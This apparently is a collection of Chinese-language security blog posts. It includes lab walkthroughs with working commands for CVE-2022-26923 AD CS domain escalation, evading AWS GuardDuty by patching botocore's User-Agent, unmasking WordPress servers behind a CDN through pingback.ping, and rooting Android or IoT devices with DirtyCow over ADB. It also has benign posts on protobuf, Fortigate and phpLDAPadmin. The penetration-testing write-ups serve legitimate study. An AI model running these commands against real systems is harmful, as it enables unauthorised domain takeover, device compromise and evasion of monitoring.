避免 AWS GuardDuty 偵測到 PenTest Finding

前言

如果我們使用滲透用 Liunx (Kali, Parrot, Pentoo) 去對 AWS 做滲透測試,很容易會觸發 GuardDuty 的 PenTest Finding,導致提早被抓包。

0x00 GuardDuty

Amazon GuardDuty 是一種威脅偵測服務,可持續監控您的 AWS 帳戶和工作負載是否有惡意活動,並提供詳細的安全問題清單以了解及進行修復。 – AWS

簡單來說呢,就是一個會智慧偵測威脅的服務,協助管理者發現攻擊行為。

0x01 PenTest Finding

這是 GuardDuty 偵測到的一種發現,主要是針對 IAM 這個服務去進行偵測,GuardDuty 會去偵測有沒有 IAM 相關呼叫是透過 Kali/Parrot 之類的滲透 Linux 發出請求的。

0x02 繞過 PenTest Finding

根據手冊 GuardDuty Finding Types IAM 的說法,這個發現的資料來源是 CloudTrail ,這就意味著是從 API 的呼叫紀錄去進行分析。

有了這樣的線索,我們就可以推測應該是透過 HTTP Header: User-Agent 關鍵字進行偵測,如此一來我們只要確認到底是誰會出賣我們,就可以避開這個發現了。

從 botocore 的原始碼 中可以觀察到 platform.release() 會出賣我們的發行版本

如果使用的 AWS ClI,那我們就必須直接 Patch 這行,如果是自行呼叫 botocore 是可以自訂 User-Agent,但為了方便我個人還是把他 Patch 掉,避免哪天被其他工具出賣。

CVE-2022–26923 AD CS 權限提升

前言

CVE-2022–26923 是一個利用 Machine account 具有 DNSHostName 寫入權限的特性進行提權的弱點,在紅隊演練中非常實用。

0x00 AD CS

AD CS(Active Directory Certification Authority) 是 Windows AD 所提供的憑證基礎設施服務 (PKI),可以用來管理公司內部的各種憑證(使用者/電腦/網站)。

0x01 弱點成因

Machine account 具有 DNSHostName 的寫入權限,Windows 未對此進行唯一值約束,因此我們可以把 DNSHostName 改的跟 DC 一模一樣。

接著,我們可以透過 AD CS 服務請求憑證,而 Machine account 是使用 DNSHostName 作為簽署對象,因此我們可以簽出一張 DC 的憑證。

最後,透過簽出來的憑證向 Kerberos 請求 DC 的服務票 (Service Ticket),Kerberos 使用簽屬對象作為身分識別,因此將我們誤會成 DC,讓我們獲得控制 DC 的能力。

0x02 實驗環境

  1. Domain: kuma.org
  2. Domain Controller
    • IP: 192.168.159.128
    • Name: WIN-818G5VCOLJO
  3. 低權限 Domain User

0x03 執行條件

  1. AD 尚未上 Patch
  2. AD 有安裝 CS (Certification Authority) 服務
  3. 擁有 Domain User (低權限)
  4. Domain User 具有建立 Machine Account 的權限與額度(預設:10)

0x04 獲得 Domain Machine Account

1. 本地主機提權後竊取

使用 Mimikatz 拿到 Machine 的 NTLM,之後進行 Pass the hash

2. 使用 Domain User 建立一個 Machine Account

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u bear -p '[email protected]' --host 192.168.159.128 addComputer FakePC01 'Passw0rd'

方法二: 使用 Impacket

impacket-addcomputer "kuma.org/bear:[email protected]" -method LDAPS -computer-name FakePC02\$ -computer-pass Passw0rd -dc-ip 192.168.159.128

0x05 修改 DNSHostName

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u FakePC01$ -p '[email protected]' --host 192.168.159.128 setAttribute 'CN=FakePC01,CN=Computers,DC=kuma,DC=org' DNSHostName '["WIN-818G5VCOLJO.kuma.org"]' 

方法二: 使用 AD Explorer

Active Directory Explorer 是微軟推出(併購)的 AD 維護工具

  1. 使用 FakePC02 登入 AD

  2. 因為 DNSHostName 與 ServicePrincipalName 有相依,先移除主機的 ServicePrincipalName 屬性

  3. 接著修改 DNSHostName 屬性

0x06 請求證書

使用 Certipy 請求證書

certipy req 'kuma.org/FakePC01$:[email protected]' -ca 'kuma-CA' -template 'Machine'

0x07 取得 DC 的 NTLM

使用 Certipy 取得 DC NTLM

certipy auth -pfx win-818g5vcoljo.pfx -debug -dc-ip 192.168.159.128 

0x08 如何防禦

  1. 打上 Patch
  2. 將使用者的 ms-DS-MachineAccountQuota 改為 0 (暫時性的)
  3. 收回非必要具有寫入 DNS hostname 權限的帳戶

0xFE KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

若 Certipy 在嘗試取得 TGT 時發生 「KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)」,這是因為 KDC 上未啟動 PKInit (Public Key Cryptography for Initial Authentication)

DC 可控

如果我們可以控制 DC (測試環境?),我們只要在 AD 的群組原則 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ,將 KDC support for PKInit Freshness Extension 設定為 Enable,即可啟動 PKInit

DC 不可控

可以使用 RBCD (Kerberos Resource-Based Constrained Delegation) 的攻擊手段作為替代。

0xFF 參考

  1. Active Directory Domain Privilege Escalation (CVE-2022–26923)
  2. bloodyAD and CVE-2022-26923

取得 CDN(WAF) 背後的 WordPress 真實 IP

前言

在現在 CDN (或者是 WAF) 普及的時代,架設網站沒有掛個 CDN 實在太過意不去啦,CDN 除了提升使用者體驗外,蠻多 CDN 都有提供一定程度的 WAF 防禦功能,同時也避免伺服器真實 IP 外洩而遭受 DDoS 攻擊的危害。

但是如果網站是使用 WordPress 所架設的,其實我們是可以透過 XML-RPC 來讓 WordPress 自報家門 (IP) 的呢!

0x00 XML-RPC 是啥?

簡單來說,XML-RPC 是使用 XML 格式封裝的 RPC(Remote Procedure Call) ,而 WordPress 正好有提供 XML-RPC,讓我們可以藉此操作 WordPress。

下面是一個列出支援方法的 XML-RPC

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

WordPress 的 XML-RPC 的 Endpoint 位於 https://網址/xmlrpc.php,使用 POST 的方式傳送

回傳的結果也是 XML,裡面包含了可以使用的方法

0x01 關於 Pingback

Pingback 是部落格系統中的一個機制,用於通知對方 Blog 說: 「我提到了你!」,讓對方知道有誰的 Blog 提到他的文章,這類似我們聊天中常用的 @,然而 WordPress 作為知名的 Blog 系統當然具有這個功能。

但仔細想一想,這個功能的實作是由主機所發出的,這就意味著只要能讓他戳我,我就可以獲得主機的真實 IP。

0x02 利用一下 pingback.ping

在 WordPress XML-RPC 的可用方法清單中,我們可以觀察到 pingback.ping 的存在。

而這個方法的呼叫負荷(Payload)如下

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>文章來源</string></value>
       </param>
       <param>
           <value><string>參照到的文章</string></value>
       </param>
   </params>
</methodCall>

像是本篇文章的網址為 https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/,而我的接收端為 http://pingb.in/bbbbbbbbbbbbbbbbbbbbbbbbbbbb,我們就可以把 Payload 改成下面這樣

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>http://pingb.in/p/bbbbbbbbbbbbbbbbbbbbbbbbbbbb</string></value>
       </param>
       <param>
           <value><string>https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/</string></value>
       </param>
   </params>
</methodCall>

送出後,我們會得到失敗的回應,但不用擔心,當然會失敗啊(畢竟接收端不是支援 Pingback 的 Blog)

我們接著就可以在接收端觀察到這次的請求

0x03 Invalid discovery target

如果回應結果中出現了 Invalid discovery target ,代表這個 Blog 啟動了 Akismet Anti-Spam 這個外掛,被擋掉啦~

0x04 如何防禦

  1. 安裝外掛 Akismet Anti-Spam 讓他幫你阻擋
  2. 寫段程式把 XML-RPC 的 pingback.ping 移除
<?php
add_filter( 'xmlrpc_methods', 
   function( $methods ) {
         unset( $methods['pingback.ping'] );
         return $methods;
   }
);

由於 pingback.ping 被我們拔掉了,當嘗試呼叫這個功能時將會發生錯誤

Protobuf 分析與重建案例分享

前言

這陣子在做 IoT 設備資安檢測的時候發現受測設備的設定檔是 Protobuf 的序列化格式,剛好先前在 使用 protobuf inspector 分析未知結構緩衝資料 一文中介紹了如何對未知結構的 Protobuf 進行分析,今天我們就來把分析結果轉成可用的程式吧!

文中的設定檔非當事設定檔,是依照概念與所發現的真實問題重新設計的檔案。

你可以在 Github – protobuf-analysis-sample 下載到本文用到的檔案。

0x00 使用 Protobuf inspector 分析資料格式

先照著 使用 protobuf inspector 分析未知結構緩衝資料 的說明對資料進行初步分析,可以發現結構意外單純。

透過上圖結果,我們可以觀察到以下資訊

  • 1: 設定檔案的編號
  • 2: 韌體版本
  • 3: 硬體序號
  • 4: 網路設定
  • 5: 使用者帳號

項目 4,5 後方寫著 <chunk> = message: ,代表這兩個項目是指向另一個 message 封裝(可以把它當作另外一個物件看待)

0x01 安裝 Protobuf 編譯環境

這邊不再贅述,請參閱 在 macOS上安裝 Protobuf 編譯環境

0x02 重建 protobuf 結構描述檔

0x02.1 打地基

根據 步驟 0x00 的分析結果,我們大致上知道這個設定檔存在三個 Message,一個是根結構,兩個參考結構(網路設定/使用者帳號)

因此一開始我們可以先把基本架構蓋出來

File: config.proto

syntax = "proto2";

message NetworkSetting {
}

message Account {
}

message Config {
}

0x02.2 放入變數

message NetworkSetting {
    required string ip = 1;
    required string mask = 2;
    required string gateway = 3;
    required string dns1 = 4;
    optional string dns2 = 5;     # 在 0x00 的分析中並沒有這個項目,因為他是可選的,只有在設備設定了 DNS 2 後才會出現
}

message Account {
    required string username = 1;
    required string password = 2;
    required int32 level = 3;
}

message Config {      #這是我們的根結構
    required string config_version = 1;
    required string firmware_version = 2;
    required string device_identification = 3;
    required NetworkSetting network_setting = 4;
    repeated Account accounts = 5;      # 從 0x00 的分析中觀察到 項目 5 有複數個,因此設定為 repeated(陣列)
}

0x03 編譯 .proto 結構描述檔

完成描述檔後,便可以使用 protoc 將 .proto 轉換為我們想要使用的語言

編譯方法如下:

[email protected] ~ $ protoc -I=`pwd` --python_out=`pwd` `pwd`/config.proto
#  --python_out 是因為我要編給 Python 使用,你也可以編譯給其他程式語言使用

編譯後會生成 檔案名稱_pb2.py 的檔案,這是供我們引入 Python 使用的物件

0x04 讀取 Protobuf 檔案

成功編譯 .proto 後,我們只需要在 Python 中引入編譯後的物件,就可以開始讀取 protobuf 的緩衝檔案

File: config_reader.py

import config_pb2   # 步驟 0x03 編譯後產生的物件

config = config_pb2.Config() #   在定義結構的階段,我們將 Config 定為根結構,故此處呼叫 Config 物件

with open("exported1.config") as f: 
    config.ParseFromString(f.read())  # 將讀進來的檔案轉換為物件

接著我們就可以依照我們的需求對檔案進行讀取

File: config_reader.py

print( config.accounts[0].username, config.accounts[0].password )
# 輸出為: admin admin
print( config.accounts[1].username, config.accounts[1].password )
# 輸出為: user user

請不要使用明文儲存使用者密碼,請用 Hash

在 macOS上安裝 Protobuf 編譯環境

0x00 安裝 Brew

Protobuf 可以從原始碼編譯後安裝,在 macOS 上我們可以透過 brew 快速安裝,這會遠比從原始碼編譯來得輕鬆,雖然不會是真的最新版本,但大多數情況下已經足夠。

Brew 的安裝非常簡單,只要執行下列指令即可

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"

注意: 不要使用 sudo 或者 root 執行上述指令

0x01 安裝 protobuf compiler – protoc

在安裝完 Brew 後,我們就可以使用 brew install 來安裝 protobuf 編譯器

[email protected] ~ $  brew install protobuf

0x02 確認 protoc 版本

protoc 使用參數 –version 可以查看當前 protoc 的版本

[email protected] ~ $ protoc --version
libprotoc 3.11.4

0x03 安裝 Python 套件

Protobuf 有支援 Python,使用前要先用 pip install 安裝

[email protected] ~ $ pip install protobuf

若沒有安裝 Protobuf 的 Python 的套件,執行程式時會產生找不到模組的錯誤

    from google.protobuf import descriptor as _descriptor
ImportError: No module named google.protobuf

使用 protobuf inspector 分析未知結構緩衝資料

前言

Protocol Buffers ( protobuf ) 是由 Google 所推出的一種序列化資料結構的協議,可以想成 XML 或者 JSON,而 protobuf 更為快速簡潔,在需要頻繁傳輸資料的場合(例如: Pokemon Go),可以使用 protobuf 來加快傳輸速率與降低封包尺寸。

由於 protobuf 將結構與資料分開處理,不像 XML 與 JSON 將結構與資料放在一起,因此在沒有結構描述資訊的狀況下是無法讀取資料的,這對於逆向工程來說是一個麻煩。

雖然軟體本身一定有結構描述檔,但這不代表我們一定要對描述檔進行逆向(這很累耶),由於 protobuf 的緩衝資料本身有一些儲存結構,因此可以通過分析儲存結構來找出資料本身的結構,接著再去猜測每一個欄位的用途,當然我們不用親自下去處理這個結構,Github 上有一個專案 protobuf-inspector,只要給它緩衝資料,它就會幫你把結構拆出來,之後只需要重建結構即可操作緩衝資料(然後開始寫外掛)

protobuf inspector 使用範例圖

使用方法

Clone 專案

git clone https://github.com/jmendeth/protobuf-inspector.git
cd protobuf-inspector

進行分析

./main.py < my-protobuf-blob

指令中的 my-protobuf-blob 是我們要分析的 protobuf 緩衝資料

分析結果

my-protobuf-blob 是一個合法的 protobuf 緩衝資料,就可以看到分析結果(如下圖)

protobuf inspector 分析結果說明

分析結果格式如下:

id <型別> = <內容>
  • id – 對應到 protobuf 內所定義的資料索引編號(為了兼容舊格式)
  • 型別 – 對應到 protobuf 內的型別類型 (chuck 可能對應到 string/message)

若型別為 chunk 內容又是 message: 開頭,代表這是一個內嵌資訊,像是 struct in struct

利用 DirtyCow(CVE-2016-5195) 攻擊 Android 裝置


髒牛 DirtyCow(CVE-2016-5195) 是一個威力十足的 Linux 提權弱點,雖然發布時間已有些時日,大多數主機也都修補了這個弱點,但還有一種類型的設備十分容易受到這個弱點的影響,那就是 Android 設備。

在 Android 手機上, DirtyCow 主要作為 root 手機的一種手段,然而 Android 不只用於手機,實際上也用於嵌入式裝置 (IoT/IP Cam 之類的),這些設備使用 Android 加速其開發與部屬能力,同時間也是較少上 Kernel Patch 的設備,只要找到了 ADB(Android Debug Bridge) 或 Command Injection 之類的弱點,整台設備端去當 Bot 不是夢 (x

DirtyCow 的 Payload 可以透過 NDK (Native Development Kit) 編譯,接著遞送到 Android 設備上。

這邊介紹一個 Git Project – CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android,這個專案是一個在 Android 上利用 DirtyCow 的概念驗證,使用步驟如下

1. 準備一個已經安裝 ADB 與 NDK 的 Linux 電腦

2. 下載專案

cd /tmp

git clone https://github.com/timwr/CVE-2016-5195.git

cd /tmp/CVE-2016-5195

3. ADB 連接裝置 (此處使用 10.10.10.10:5555 為例)

adb connect 10.10.10.10:5555
adb devices

若連接成功會顯示下列訊息

List of devices attached
10.10.10.10:5555    device

4. 編譯並利用弱點

make root

執行結果如下

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory '/keniver/tmp/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory '/keniver/tmp/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 0.4 MB/s (14320 bytes in 0.031s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 0.6 MB/s (10224 bytes in 0.017s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa38
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10224) and destination file size (9768) differ

corruption?

[*] size 10224
[*] mmap 0x7faac2b000
[*] currently 0x7faac2b000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7faac2b000 10224
[*] madvise = 0 16777216
[*] /proc/self/mem 447381792 43758
[*] exploited 0 0x7faac2b000=10102464c457f

5. 提權成為 root

透過 adb shell 執行 id ,確認自己目前的帳號與群組

adb shell id

結果如下

uid=2000(shell) gid=2000(shell) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

執行下列指令進行提權

adb shell /system/bin/run-as

結果如下

WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x788
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
[email protected]_64:/ # id
id
uid=0(root) gid=0(root) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

變成 root 啦~

障礙排除

1. error: no devices/emulators found

adb 沒有連接到任何裝置,可以通過 adb devices 檢查一下有無正常連線

2. make: ndk-build: No such file or directory

電腦尚未安裝 NDK 或者 沒有正確設定 NDK 到 PATH

關閉 Fortigate SIP ALG

在進行網路服務邊界測試的過程中, 時常掃出 5060, 2000 這兩個 Port, 但客戶均表示防火牆沒有開啟這兩個 Port, 也無法透過 Police 去進行阻擋, 經過調查後發現是 Gateway 自帶的 SIP ALG 所造成的.

什麼是 SIP ALG

SIP (Session Initiation Protocol) 是 VoIP 中一個非常重要的協議, 該協議於 1999 年由 IETF 提出, 由於當時並沒有將 NAT 納入設計, 因此在 NAT 環境下 SIP 難以正常運作, 然而現今網路環境中, 不論是電信業/企業還是家庭都十分依賴 NAT 技術, 為了使 SIP 在 NAT 環境下能夠正常運行, ALG (Application Layer Gateway) 就此誕生, ALG 是一個通過分析與修改 SIP 請求的應用服務, 使 SIP 能夠順利通過 NAT 環境與外界聯繫.

SIP ALG 與現代企業網路架構

現代企業為了提高網路安全性, 通常會架設一個 Gateway 來隔離外網與內網, 企業也從傳統總機逐漸轉往 VoIP, 為了順應潮流, 許多 Gateway 廠商內建了 SIP ALG, 甚至還幫你啟動了, 由於 SIP ALG 直接應用於 Gateway 本身, 從防火牆設定上很難看出端倪, 而 SIP ALG 本身又是一個主動服務, 因此進行 nmap 掃描時都會發現它的存在, 不知道的人會以為主機被入侵了呢!

關閉 SIP ALG 以 Fortigate 為例

由於我手邊只有 Fortigate 60E, 因此選擇 Fortigate 作為例子

在 Fortigate 上關閉 SIP ALG 的步驟如下
(請連上 Fortigate 的 Terminal, Web 介面並沒有相關設定可供調整)

1 移除 session helper

config system session-helper
show
###########################
# 這邊會顯示很多 helper
# 找到下方這個 helper (他的 id 可能不是 13)
#   edit 13
#   set name sip
#   set protocol 17
#   set port 5060
###########################

# 在我的主機上 helper 的 id 為 13, 後續指令以 13 為例
delete 13
end

2 調整 ALG 模組

config system settings
set default-voip-alg-mode kernel-helper-based
end

config voip profile
edit default
config sip
set status disable
end
end

3 重新啟動 Fortigate

PHP 7.0 下安裝 phpLDAPadmin 發生錯誤的修正方法

在稍具規模的網路環境中, 網管時常選用 LDAP 來進行帳號的統整管理, 一方面提供管理便利度, 另一方面使用者也不必因為不同系統而記憶不同帳號, phpLDAPadmin 是一套常見的 LDAP 管理介面, 但 phpLDAPadmin 已經很久沒有更新了, 若想要安裝在 PHP 5.6 以上, 甚至是最新版的 PHP 7 的環境中, 是無法順利安裝的, 因此我們需要做些修正.

Session 相關錯誤

打開 index.php 時出現下列錯誤:

  • Undefined variable: _SESSION in …. on line 379
  • Fatal error: Uncaught Error: Call to a member function getValue() on null in … on line 379

導致這個錯誤的主要原因是因為 phpLDAPadmin 需要使用 session, 在 PHP 中若要使用 session, 需要先執行 session_start() 這個函數, 但不知道為什麼 phpLDAPadmin 並沒有這麼做, 因此要解決這個問題, 一種方法是自己找正確的地方加上 session_start(), 另一種方法則是啟動 auto_start 這個特性, 這邊介紹如何啟動 auto_start 這個特性

編輯 php.ini 中的 session.auto_start

session.auto_start = 0

修改為

session.auto_start = 1

password_hash 相關錯誤

修正完 session 的問題後, 畫面上還有一個關於 password_hash 的錯誤

  • Fatal error: Cannot redeclare password_hash() in … on line 2236

造成這個錯誤的原因在於 php 5.5 以後內建了 password_hash 這個函數, 導致內建的 password_hash 與 phpLDAPadmin 自己的 password_hash 發生衝突, 因此只要將 phpLDAPadmin 的 password_hash 名稱替換成別的名稱就可以避開這個問題了

具體的解決辦法如下

對檔案打 patch

wget https://raw.githubusercontent.com/osixia/docker-phpLDAPadmin/stable/image/service/phpldapadmin/assets/php5.5.patch
patch -p1 -d ./phpldapadmin < php5.5.patch

修改 TemplateRender.php

sed -i "s/password_hash/password_hash_custom/g" ./phpldapadmin/lib/TemplateRender.php

Mac 的使用者會遇到 invalid command code W 這個錯誤, 具體原因與解決辦法請參考 MAC 下執行 sed 指令出現錯誤: invalid command code W

記得把指令中的 ./phpldapadmin 替換成 phpldapadmin 的實際位置

MAC 下執行 sed 指令出現錯誤: invalid command code W

sed 是 Linux/Mac 下非常好用的文件內容替換工具, sed -i "s/old/new/g" /path/to/file 可以讓我們輕鬆的將 /path/to/file 中的 old 都替換成 new, 但最近發現 sed 在 mac 與 Linux 上的行為有些許不同, 本來在 Linux 上能夠正常運作的指令在 MAC 上卻無法運作, sed 執行時出現錯誤 invalid command code W

MAC 上的 sed 手冊對於 -i 的描述:

-i extension
    Edit files in-place, saving backups with the specified extension.  If a zero-length extension is given, no backup will be saved.  It is not recommended to give a zero-
    length extension when in-place editing files, as you risk corruption or partial content in situations where disk space is exhausted, etc.

而 Linux 上的 sed 手冊對於 -i 的描述:

-i[SUFFIX], --in-place[=SUFFIX]
    edit files in place (makes backup if SUFFIX supplied)

根據手冊的中的描述, sed 在帶有 -i 參數時, 會針對處理的檔案進行備份, 而 -i 參數接受一個字串作為備份檔案的後綴( ex: test.php => test_ext.php ), 這個後綴在 Linux 下是可選, Mac 下是必要的, 雖然 Mac 下的 sed 可以給空字串來忽略這個選項, 但備份很重要, 備份一下啦!!

在知道差異後, 我們只要將後綴加上去就可以解決這個問題了!

Linux:
sed -i "s/old/new/g" /path/to/file

Mac:
sed -i "" "s/old/new/g" /path/to/file